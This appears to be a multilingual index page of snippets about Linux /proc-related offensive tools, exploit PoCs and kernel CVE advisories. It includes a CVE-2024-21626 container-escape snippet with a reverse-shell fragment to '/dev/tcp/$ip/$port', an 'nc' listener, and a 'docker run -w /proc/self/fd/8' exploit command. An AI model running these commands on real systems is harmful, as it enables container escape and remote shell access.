liffy

Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...

Netgrave

Netgrave A tool for retrieving login credentials from Netwave IP cameras using a memory dump vulnerability CVE-2018-17240. This project was inspired by expcamera and offers performance and efficiency improvements. This tool works for all platforms as it does not use any Linux CLI tools through...

mimic

mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...

whoc

whoc コンテナイメージであり、基盤となるコンテナランタイムを抽出してリモートサーバーに送信します。 お気に入りのCSPコンテナプラットフォームの基盤となるコンテナランタイムを突いてみましょう！ WhoC at Defcon 29 Cloud Village Azurescape - whoc を利用した研究、パブリッククラウド初のクロスアカウントコンテナ乗っ取り $70,000 の報奨金 仕組み runc の CVE-2019-5736 で示されているように、従来の Linux コンテナランタイムは、/proc/self/exe を介して実行中のコンテナに自身を公開します。whoc...

Astra Linux – Vulnerability in Linux 5.10

In the Linux kernel, the following vulnerability has been resolved: fs/proc: taskmmu.c: Do not read mapcount for migration entries The syzbot reported the following bug: Kernel bug at include/linux/page-flags.h: 785 Invalid opcode: 0000 1 – PREEMPT SMP KASAN CPU: 1; PID: 4392; Comm:...

Astra Linux – Vulnerabilities in Linux 5.10, Linux 5.15, Linux 6.1

In the Linux kernel, the following vulnerability has been resolved: sysctl: Always initialize iuid/igid. iuid/igid is always initialized within the sysfs core, so setownership can safely skip setting them. The commit 5ec27ec735ba from “fs/proc/procsysctl.c: fix the default values of iuid/igid on...

Astra Linux – Vulnerability in Linux 5.10, Linux

In the Linux kernel, the following vulnerability has been resolved: ipv6: fixed an error in ip6routenetexitlate During the initialization of ip6routenetinitlate, if the files ipv6route or rt6stats fail to be created, the initialization is successful by default. Therefore, the ipv6route or rt6stat...

Astra Linux – Vulnerability found in Linux 6.1, Linux 5.15, Linux 5.10

In the Linux kernel, the following vulnerabilities have been resolved: smb: client: fixed a use-after-free bug in cifsdebugdataprocShow Skipped SMB sessions that are being torn down e.g., @ses-sesstatus == SESEXITING in cifsdebugdataProcShow to avoid use-after-free in @ses. This fixes the followi...

dismember

🔪 Dismember Dismemberは、Linux用のコマンドラインツールキットで、すべてのプロセス（または特定のプロセス）のメモリをスキャンして、一般的な秘密情報やカスタム正規表現などを検出するために使用できます。 最終的には完全な /proc ツールキットになる予定です。 grep コマンドを使用すると、すべての（アクセス可能な）プロセスの全メモリに対して正規表現のマッチングを行うことができます。これは、メモリ内の機密データを見つけたり、メモリに含まれる情報からプロセスを特定したり、プロセスのメモリを調査して興味深い情報を得るために使用できます。 scan...

dismember

🔪 Dismember Dismember is a command-line toolkit for Linux that can be used to scan the memory of all processes or particular ones for common secrets and custom regular expressions, among other things. It will eventually become a full /proc toolkit. Using the grep command, it can match a regular...

CVE-2017-1000367

CVE-2017-1000367 我々は、Linux向けSudoのgetprocessttynameに脆弱性を発見しました。この関数は“/proc/pid/stat”（man proc）を開き、フィールド7（ttynr）からttyのデバイス番号を読み取ります。残念ながら、これらのフィールドはスペース区切りであり、フィールド2（comm、コマンドのファイル名）にはスペースを含めることができます（CVE-2017-1000367）。 例えば、シンボリックリンク“./ 1...

Am-I-affected-by-Meltdown

我是否受到 Meltdown 影响？！Meltdown CVE-2017-5754 检查器 我是什么？ 概念验证 / 漏洞利用 / 检查系统是否受到变体 3：恶意数据缓存加载（CVE-2017-5754），又名 MELTDOWN 的影响。 其基本思路是让用户了解当前运行的系统是否已通过 KAISER 补丁集（https://lkml.org/lkml/2017/10/31/884）之类的方案正确修补。 目前仅适用于 Linux 它是如何工作的？ 它通过 /proc/kallsyms 查找系统调用表，并检查通过利用 MELTDOWN 找到的系统调用地址是否与 /proc/kallsyms...

kernel-exploit-dirtycow

内核利用 — Dirty Cow CVE-2016-5195 作为 4Geeks Academy 网络安全专业化的一部分，通过 Dirty Cow 漏洞进行权限提升的实验室。 描述 Dirty Cow 是 Linux 内核内存子系统中的一个竞态条件（CVE-2016-5195），它允许无特权的本地用户对只读内存区域（包括 /etc/passwd）获得写访问权限。这使得无需管理员凭据即可直接提升至 root 权限。 环境 角色| 系统| IP ---|---|--- 攻击者| Kali Linux| 10.0.2.8 受害者| Ubuntu Server 16.04.1 — 内核...

CVE-2024-21626

CVE-2024-21626 PoC 要件 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 コンテナイメージを実行し...

CVE-2026-89540

In the Linux kernel, the following vulnerability has been resolved: sunrpc: init gssplock before publishing proc entry createusegssproxyprocentry publishes /proc/net/rpc/use-gss-proxy via proccreatedata before initgsspclnt runs mutexinit on sn-gssplock. Once the dentry is linked under...

CVE-2024-21626

CVE-2024-21626 有关此漏洞的详细说明，请参阅我的文章。 漏洞利用 通过运行容器进行利用 无需构建自定义镜像，只需使用 -w 参数运行一个容器： root@kitploit: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm 通过 exec 进入运行中的容器进行利用 通过 runc 本身进行利用 root@kitploit: /container/runc/runc --version docker run --name helper-ctr alpine docker...

process-injection-playground

Linux 进程注入演练场 一个全面的 Linux 进程注入技术合集，演示了向运行中进程注入代码的各种方法。这些示例仅供教育、安全研究以及理解底层 Linux 进程操作之用。 概述 进程注入是一种在另一个进程的上下文中运行代码的技术。虽然通常与恶意软件相关联，但这些技术也具有以下重要价值： 安全研究 ：理解攻击向量并开发防御手段 调试 ：分析和修改运行中的应用程序 插桩 ：性能分析和监控 渗透测试 ：授权的安全评估 CTF 竞赛 ：夺旗挑战 可用技术 1. 基于 Ptrace 的代码注入 目录 ：ptrace/ 经典的进程注入方法，使用 ptrace 系统调用直接将 shellcode...

mimic

mimic mimic は、Linux x8664 で隠密実行を行うためのツールです。 「covert execution」とは？ 隠密実行とは、プロセスを隠す技術です。この場合、 mimic はプロセスを目に見える場所に隠します。 mimic は任意のプログラムを起動して、他のプログラムのように見せることができます。どのユーザーでも使用できます。特別な権限は必要ありません。特別なバイナリも必要ありません。ルートキットも必要ありません。 えっ？！特別な権限がいらないの？！ その通りです。 mimic は、プロセスの内部構造を再構成することで、そのプロセスの /proc...

CVE-2012-0056

Linux における SUID /proc/pid/mem 書き込みを介したローカル権限昇格 Mempodipper Mempodipper の紹介です。CVE-2012-0056 のエクスプロイトです。/proc/pid /mem は、プロセスの仮想メモリ空間と同じアドレスをシークすることで、プロセスメモリを直接読み書きするインターフェースです。2.6.39 では、/proc/pid /mem への不正アクセスに対する保護は十分とみなされ、任意のプロセスメモリへの書き込みを許可する以前の ifdef が...

CVE-2023-32784-keepass-linux

KeePass 2.53/cmdline files and store the pid of ones with the keyword KeePass in their commandline argument. It'll then acquire the adresses of memory maps in /proc//maps that aren't directly associated with a library, meaning they have an empty file path. It'll then store the memory of all those...